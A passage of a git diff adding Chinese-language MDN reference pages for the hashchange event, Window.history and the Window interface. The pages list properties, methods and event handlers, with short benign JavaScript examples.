+ +
window.addEventListener('hashchange', function() {
+  console.log('The hash has changed!')
+}, false);
+ +

或使用 onhashchange 事件处理程序属性:

+ +
function locationHashChanged() {
+  if (location.hash === '#cool-feature') {
+    console.log("You're visiting a cool feature!");
+  }
+}
+
+window.onhashchange = locationHashChanged;
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', 'indices.html#event-hashchange', 'hashchange')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.hashchange_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/history/index.html b/files/zh-cn/web/api/window/history/index.html new file mode 100644 index 0000000000..118bfe284c --- /dev/null +++ b/files/zh-cn/web/api/window/history/index.html @@ -0,0 +1,34 @@ +--- +title: Window.history +slug: Web/API/Window/history +translation_of: Web/API/Window/history +--- +

{{ ApiRef("Window") }}

+ +

Window.history是一个只读属性,用来获取{{domxref("History")}} 对象的引用,{{domxref("History")}} 对象提供了操作浏览器会话历史(浏览器地址栏中访问的页面,以及当前页面中通过框架加载的页面)的接口。

+ +

History对象有如下方法:参见 Manipulating the browser history 中的示例和详情。尤其指出的是文章里解释了在使用pushState()replaceState()方法前,你需要了解的安全问题。

+ +

语法

+ +
var historyObj = window.history;
+ +

示例

+ +
history.back();     // 等同于点击浏览器的回退按钮
+history.go(-1);     //等同于history.back();
+
+ +

附注

+ +

在顶层页面中,浏览器的回退和前进按钮旁的下拉菜单显示了可以通过History对象访问到的页面会话历史(session history)列表。

+ +

出于安全考虑,History对象不允许未授权代码访问会话历史(session History)中其它页面的URLs,但可以导航到其它会话历史(session History)指向的页面。

+ +

未授权代码无法清除会话历史(session History),也不能禁用回退/前进功能。最快捷的可用方式是使用location.replace()方法,提供指定的URL来替换当前的会话历史(session history)。

+ +

规范

+ + diff --git a/files/zh-cn/web/api/window/index.html b/files/zh-cn/web/api/window/index.html new file mode 100644 index 0000000000..8024186e44 --- /dev/null +++ b/files/zh-cn/web/api/window/index.html @@ -0,0 +1,727 @@ +--- +title: Window +slug: Web/API/Window +tags: + - API + - DOM + - JavaScript + - Window + - global + - 作用域 + - 全局 + - 参考 + - 接口 + - 标签页 + - 浏览器 +translation_of: Web/API/Window +--- +
{{APIRef("DOM")}}
+ +

window 对象表示一个包含DOM文档的窗口, document 属性指向窗口中载入的 DOM文档 。使用 {{ Domxref("document.defaultView") }} 属性可以获取指定文档所在窗口。

+ +

window作为全局变量,代表了脚本正在运行的窗口,暴露给 Javascript 代码。

+ +

本节为 DOM Window 对象中可用的所有方法、属性和事件提供简要参考。window 对象实现了 Window 接口,此接口继承自 AbstractView 接口。一些额外的全局函数、命名空间、对象、接口和构造函数与 window 没有典型的关联,但却是有效的,它们在 JavaScript参考DOM参考 中列出。

+ +

在有标签页功能的浏览器中,每个标签都拥有自己的 window 对象;也就是说,同一个窗口的标签页之间不会共享一个 window 对象。有一些方法,如 {{ Domxref("window.resizeTo") }} 和 {{ Domxref("window.resizeBy") }} 之类的方法会作用于整个窗口而不是 window 对象所属的那个标签。一般而言,如果一样东西无法恰当地作用于标签,那么它就会作用于窗口。

+ +

{{InheritanceDiagram}}

+ +

Constructors

+ +

See also the DOM Interfaces.

+ +
+
{{domxref("DOMParser")}}
+
DOMParser can parse XML or HTML source stored in a string into a DOM Document. DOMParser is specified in DOM Parsing and Serialization.
+
{{domxref("Window.GeckoActiveXObject")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Image")}}
+
Used for creating an {{domxref("HTMLImageElement")}}.
+
{{domxref("Option")}}
+
Used for creating an {{domxref("HTMLOptionElement")}}
+
{{domxref("Window.QueryInterface")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}
+
Returns a {{domxref('StaticRange.StaticRange','StaticRange()')}} constructor which creates a {{domxref('StaticRange')}} object.
+
{{domxref("Worker")}}
+
Used for creating a Web worker
+
{{domxref("Window.XMLSerializer")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.XPCNativeWrapper")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.XPCSafeJSObjectWrapper")}}
+
{{todo("NeedsContents")}}
+
+ +

属性

+ +

这个接口从 {{domxref("EventTarget")}} 接口继承属性,也从 {{domxref("WindowOrWorkerGlobalScope")}} 和 {{domxref("WindowEventHandlers")}} 这两个 mixin 中继承属性。

+ +

注意,对象类型的属性(例如:覆盖内建元素的原型)被列于下面单独的小节之中。

+ +
+
{{domxref("Window.closed")}} {{Non-standard_inline}} {{readOnlyInline}}
+
这个属性指示当前窗口是否关闭。
+
{{domxref("Window.console")}} {{ReadOnlyInline}}
+
返回 console 对象的引用,该对象提供了对浏览器调试控制台的访问。
+
{{domxref("Window.content")}} 和 Window._content {{Non-standard_inline}} {{obsolete_inline}} {{ReadOnlyInline}}
+
返回当前 window 的 content 元素的引用。通过带下划线的过时变种方法不再可以获得 Web content。
+
{{domxref("Window.controllers")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
返回当前 chrome window 的 XUL 控制器对象。
+
{{domxref("Window.customElements")}} {{ReadOnlyInline}}
+
returns a reference to the {{domxref("CustomElementRegistry")}} object, which can be used to register new custom elements and get information about previously registered custom elements.
+
{{domxref("Window.crypto")}} {{readOnlyInline}}
+
返回浏览器 crypto 对象。
+
{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}
+
获取或设置指定窗口的状态栏文本。
+
{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
返回当前显示器的物理像素和设备独立像素的比例。
+
{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}
+
获取在调用 {{domxref("window.showModalDialog()")}} 时传递给窗口的参数(如果它是一个对话框)。这是一个 {{Interface("nsIArray")}}。
+
{{domxref("Window.directories")}} {{obsolete_inline}}
+
{{domxref("window.personalbar")}} 的另一种形式。
+
{{domxref("Window.document")}} {{ReadOnlyInline}}
+
返回对当前窗口所包含文档的引用。
+
{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMMatrix")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.
+
{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMMatrixReadOnly")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.
+
{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMPoint")}} object, which represents a 2D or 3D point in a coordinate system.
+
{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMPointReadOnly")}} object, which represents a 2D or 3D point in a coordinate system.
+
{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMQuad")}} object, which provides represents a quadrilaterial object, that is one having four corners and four sides.
+
{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.
+
{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMRectReadOnly")}} object, which represents a rectangle.
+
{{domxref("Window.event")}} {{ReadOnlyInline}}
+
Returns the current event, which is the event currently being handled by the JavaScript code's context, or undefined if no event is currently being handled. The {{domxref("Event")}} object passed directly to event handlers should be used instead whenever possible.
+
{{domxref("Window.frameElement")}} {{readOnlyInline}}
+
返回嵌入窗口的元素,如果未嵌入窗口,则返回null。
+
{{domxref("Window.frames")}} {{readOnlyInline}}
+
返回当前窗口中所有子窗体的数组。
+
{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}
+
此属性表示窗口是否以全屏显示。
+
{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}
+
Gecko 13 (Firefox 13) 开始废弃。使用 {{domxref("Window.localStorage")}} 替代它。
+ 原本是:用于存储跨页面数据的多重存储对象。
+
{{domxref("Window.history")}} {{ReadOnlyInline}}
+
返回一个对 history 对象的引用。
+
{{domxref("Window.innerHeight")}} {{readOnlyInline}}
+
获得浏览器窗口的内容区域的高度,包含水平滚动条(如果有的话)。
+
{{domxref("Window.innerWidth")}} {{readOnlyInline}}
+
获得浏览器窗口的内容区域的宽度,包含垂直滚动条(如果有的话)。
+
{{domxref("Window.isSecureContext")}} {{experimental_inline}} {{readOnlyInline}}
+
指出上下文环境是否能够使用安全上下文环境的特征。
+
{{domxref("Window.length")}} {{readOnlyInline}}
+
返回窗口中的 frames 数量。参见 {{domxref("window.frames")}}。
+
{{domxref("Window.location")}}
+
获取、设置 window 对象的 location, 或者当前的 URL.
+
{{domxref("Window.locationbar")}} {{ReadOnlyInline}}
+
返回 locationbar 对象,其可视性可以在窗口中切换。
+
{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}
+
返回用来存储只能在创建它的源下访问的数据的本地存储对象的引用
+
{{domxref("Window.menubar")}} {{ReadOnlyInline}}
+
返回菜单条对象,它的可视性可以在窗口中切换
+
{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}
+
返回窗口的 message manager 对象。
+
{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}} {{Deprecated_inline}}
+
返回当前动画循环开始经过的毫秒数
+
{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}} {{non-standard_inline}} {{gecko_minversion_inline("1.9.2")}}
+
Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.
+
{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}} {{gecko_minversion_inline("1.9.2")}}
+
Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel for a conversion factor to adapt to screen pixels if needed.
+
{{domxref("Window.mozPaintCount")}} {{non-standard_inline}} {{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}
+
Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.
+
{{domxref("Window.name")}}
+
获取/设置窗口的名称。
+
{{domxref("Window.navigator")}} {{readOnlyInline}}
+
返回对 navigator 对象的引用。
+
{{domxref("Window.opener")}}
+
返回对打开当前窗口的那个窗口的引用。
+
{{domxref("Window.orientation")}} {{non-standard_inline}} {{deprecated_inline}} {{readOnlyInline}}
+
Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.
+
{{domxref("Window.outerHeight")}} {{readOnlyInline}}
+
返回浏览器窗口的外部高度。
+
{{domxref("Window.outerWidth")}} {{readOnlyInline}}
+
返回浏览器窗口的外部宽度。
+
{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}
+
{{domxref("window.scrollX")}}的别名。
+
{{domxref("Window.scrollY","Window.pageYOffset")}} {{readOnlyInline}}
+
{{domxref("window.scrollY")}}的别名。
+
{{domxref("Window.parent")}} {{readOnlyInline}}
+
返回当前窗口或子窗口的父窗口的引用。
+
{{domxref("Window.performance")}} {{readOnlyInline}}
+
Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing performance-related data. See also Using Navigation Timing for additional information and examples.
+
{{domxref("Window.personalbar")}} {{readOnlyInline}}
+
返回 personalbar 对象,它的可视性可以在窗口中切换。
+
{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}
+
Formerly provided access to install and remove PKCS11 modules.
+
{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}
+
The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.
+
{{domxref("Window.screen")}} {{readOnlyInline}}
+
Returns a reference to the screen object associated with the window.
+
{{domxref("Window.screenX")}} and {{domxref("Window.screenLeft")}} {{readOnlyInline}}
+
Both properties return the horizontal distance from the left border of the user's browser viewport to the left side of the screen.
+
{{domxref("Window.screenY")}} and {{domxref("Window.screenTop")}} {{readOnlyInline}}
+
Both properties return the vertical distance from the top border of the user's browser viewport to the top side of the screen.
+
{{domxref("Window.scrollbars")}} {{readOnlyInline}}
+
Returns the scrollbars object, whose visibility can be toggled in the window.
+
{{domxref("Window.scrollMaxX")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.
+
{{domxref("Window.scrollMaxY")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).
+
{{domxref("Window.scrollX")}} {{readOnlyInline}}
+
Returns the number of pixels that the document has already been scrolled horizontally.
+
{{domxref("Window.scrollY")}} {{readOnlyInline}}
+
Returns the number of pixels that the document has already been scrolled vertically.
+
{{domxref("Window.self")}} {{ReadOnlyInline}}
+
Returns an object reference to the window object itself.
+
{{domxref("Window.sessionStorage")}}
+
Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.
+
{{domxref("Window.sidebar")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
Returns a reference to the window object of the sidebar.
+
{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}
+
Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using Web Speech API speech synthesis functionality.
+
{{domxref("Window.status")}}
+
Gets/sets the text in the statusbar at the bottom of the browser.
+
{{domxref("Window.statusbar")}} {{readOnlyInline}}
+
Returns the statusbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.toolbar")}} {{readOnlyInline}}
+
Returns the toolbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.top")}} {{readOnlyInline}}
+
Returns a reference to the topmost window in the window hierarchy. This property is read only.
+
{{domxref("Window.visualViewport")}} {{readOnlyInline}}
+
Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.
+
{{domxref("Window.window")}} {{ReadOnlyInline}}
+
Returns a reference to the current window.
+
window[0], window[1], etc.
+
Returns a reference to the window object in the frames. See {{domxref("Window.frames")}} for more details.
+
+ +

Properties implemented from elsewhere

+ +
+
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
+
Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.
+
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
+
Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.
+
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
+
Returns a boolean indicating whether the current context is secure (true) or not (false).
+
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
+
Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)
+
+ +

方法

+ +

This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.

+ +
+
{{domxref("Window.alert()")}}
+
Displays an alert dialog.
+
{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
Moves back one in the window history. This method is obsolete; you should instead use {{domxref("History.back", "window.history.back()")}}.
+
{{domxref("Window.blur()")}}
+
Sets focus away from the window.
+
{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}
+
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.
+
{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}
+
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.
+
{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}
+
Registers the window to capture all events of the specified type.
+
{{domxref("Window.clearImmediate()")}}
+
Cancels the repeated execution set using setImmediate.
+
{{domxref("Window.close()")}}
+
Closes the current window.
+
{{domxref("Window.confirm()")}}
+
Displays a dialog with a message that the user needs to respond to.
+
{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.dispatchEvent()")}}
+
Used to trigger an event.
+
{{domxref("Window.dump()")}} {{Non-standard_inline}}
+
Writes a message to the console.
+
{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.find()")}}
+
Searches for a given string in a window.
+
{{domxref("Window.focus()")}}
+
Sets focus on the current window.
+
{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
Moves the window one document forward in the history. This method is obsolete; you should instead use {{domxref("History.forward", "window.history.forward()")}}.
+
{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
Flashes the application icon.
+
{{domxref("Window.getAttentionWithCycleCount()")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.getComputedStyle()")}}
+
Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.
+
{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}
+
Gets default computed style for the specified element, ignoring author stylesheets.
+
{{domxref("Window.getSelection()")}}
+
Returns the selection object representing the selected item(s).
+
{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
Returns the browser to the home page.
+
{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}
+
Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.
+
{{domxref("Window.maximize()")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.minimize()")}} (top-level XUL windows only)
+
Minimizes the window.
+
{{domxref("Window.moveBy()")}}
+
Moves the current window by a specified amount.
+
{{domxref("Window.moveTo()")}}
+
Moves the window to the specified coordinates.
+
{{domxref("Window.open()")}}
+
打开一个新窗口。
+
{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
打开一个新的对话框窗口。
+
{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}
+
为一个窗口向另一个窗口发送数据字符串提供了一种安全方法,该窗口不必与第一个窗口处于相同的域中。
+
{{domxref("Window.print()")}}
+
打开打印对话框以打印当前文档。
+
{{domxref("Window.prompt()")}}
+
返回用户在提示对话框中输入的文本。
+
{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{Deprecated_inline}}
+
释放捕获特定类型事件的窗口。
+
{{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}
+
告诉浏览器一个动画正在进行中,请求浏览器为下一个动画帧重新绘制窗口。
+
{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}
+
启用在浏览器空闲期间对任务进行调度。
+
{{domxref("Window.resizeBy()")}}
+
将当前窗口调整到一定的大小。
+
{{domxref("Window.resizeTo()")}}
+
动态调整窗口。
+
{{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.scroll()")}}
+
滚动窗口到文档中的特定位置。
+
{{domxref("Window.scrollBy()")}}
+
按给定的数量在窗口中滚动文档。
+
{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}
+
按给定行数滚动文档。
+
{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}
+
按指定页数滚动当前文档。
+
{{domxref("Window.scrollTo()")}}
+
滚动到文档中的特定坐标集。
+
{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)
+
更改当前窗口的光标。
+
{{domxref("Window.setImmediate()")}}
+
在浏览器完成其他繁重任务后执行一个函数。
+
{{domxref("Window.setResizable()")}} {{Non-standard_inline}}
+
切换用户调整窗口大小的能力。
+
{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}
+
根据内容设置窗口大小。
+
{{domxref("Window.stop()")}}
+
这个方法停止窗口加载。
+
{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}
+
更新当前chrome窗口(UI)命令的状态。
+
+ +

Methods implemented from elsewhere

+ +
+
{{domxref("EventTarget.addEventListener()")}}
+
Register an event handler to a specific event type on the window.
+
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
+
Creates a base-64 encoded ASCII string from a string of binary data.
+
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
+
Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
+
Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
+
Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh.
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
Starts the process of fetching a resource from the network.
+
{{domxref("EventTarget.removeEventListener")}}
+
Removes an event listener from the window.
+
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
+
Schedules a function to execute every time a given number of milliseconds elapses.
+
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
+
Schedules a function to execute in a given amount of time.
+
+ +

Obsolete methods

+ +
+
{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}
+
Displays a modal dialog. This method was removed completely in Chrome 43, and Firefox 55.
+
+ +

Event handlers

+ +

These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.

+ +

This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.

+ +
+

Note: Starting in {{Gecko("9.0")}}, you can now use the syntax if ("onabort" in window) to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See DOM event handlers for details.

+
+ +
+
{{domxref("Window.onappinstalled")}}
+
Called when the page is installed as a webapp. See {{event('appinstalled')}} event.
+
{{domxref("Window.onbeforeinstallprompt")}}
+
An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.
+
{{domxref("Window.ondevicelight")}}
+
An event handler property for any ambient light levels changes
+
{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}
+
Called if accelerometer detects a change (For mobile devices)
+
{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}
+
Called when the orientation is changed (For mobile devices)
+
{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only
+
An event handler property for any device orientation changes.
+
{{domxref("Window.ondeviceproximity")}}
+
An event handler property for device proximity event
+
{{domxref("Window.ongamepadconnected")}}
+
Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).
+
{{domxref("Window.ongamepaddisconnected")}}
+
Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).
+
{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}
+
An event handler property for the MozBeforePaint event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.
+
{{domxref("Window.onpaint")}}
+
An event handler property for paint events on the window.
+
{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}
+
An event handler for handled {{jsxref("Promise")}} rejection events.
+
{{domxref("Window.onuserproximity")}}
+
An event handler property for user proximity events.
+
{{domxref("Window.onvrdisplayconnect")}}
+
Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).
+
{{domxref("Window.onvrdisplaydisconnect")}}
+
Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).
+
{{domxref("Window.onvrdisplayactivate")}}
+
Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
+
{{domxref("Window.onvrdisplaydeactivate")}}
+
Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
+
{{domxref("Window.onvrdisplayblur")}}
+
Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.
+
{{domxref("Window.onvrdisplayfocus")}}
+
Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).
+
{{domxref("Window.onvrdisplaypresentchange")}}
+
represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).
+
+ +

Event handlers implemented from elsewhere

+ +
+
{{domxref("GlobalEventHandlers.onabort")}}
+
Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Called when the print dialog box is closed. See {{event("afterprint")}} event.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Called when the print dialog box is opened. See {{event("beforeprint")}} event.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
An event handler property for before-unload events on the window.
+
{{domxref("GlobalEventHandlers.onblur")}}
+
Called after the window loses focus, such as due to a popup.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
An event handler property for change events on the window.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
Called after the ANY mouse button is pressed & released
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
Called when a double click is made with ANY mouse button.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
Called after the window is closed
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
Called when the RIGHT mouse button is pressed
+
{{domxref("GlobalEventHandlers.onerror")}}
+
Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
Called after the window receives or regains focus. See {{event("focus")}} events.
+
{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}
+
An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.
+
{{domxref("GlobalEventHandlers.oninput")}}
+
Called when the value of an <input> element changes
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
Called when you begin pressing ANY key. See {{event("keydown")}} event.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.
+
{{domxref("GlobalEventHandlers.onkeyup")}}
+
Called when you finish releasing ANY key. See {{event("keyup")}} event.
+
{{domxref("WindowEventHandlers.onlanguagechange")}}
+
An event handler property for {{event("languagechange")}} events on the window.
+
{{domxref("GlobalEventHandlers.onload")}}
+
Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
Called when ANY mouse button is pressed.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
Called continously when the mouse is moved inside the window.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
Called when the pointer leaves the window.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
Called when the pointer enters the window
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
Called when ANY mouse button is released
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Called when network connection is lost. See {{event("offline")}} event.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Called when network connection is established. See {{event("online")}} event.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.
+
{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}
+
Called when a back button is pressed.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
Called when a form is reset
+
{{domxref("GlobalEventHandlers.onresize")}}
+
Called continuously as you are resizing the window.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked
+
{{domxref("GlobalEventHandlers.onwheel")}}
+
Called when the mouse wheel is rotated around any axis
+
{{domxref("GlobalEventHandlers.onselect")}}
+
Called after text in an input field is selected
+
{{domxref("GlobalEventHandlers.onselectionchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Called when there is a change in session storage or local storage. See {{event("storage")}} event
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
Called when a form is submitted
+
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
+
An event handler for unhandled {{jsxref("Promise")}} rejection events.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Called when the user navigates away from the page.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
error
+
Fired when when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.
+ Also available via the {{domxref("GlobalEventHandlers/onerror", "onerror")}} 属性。
+
languagechange
+
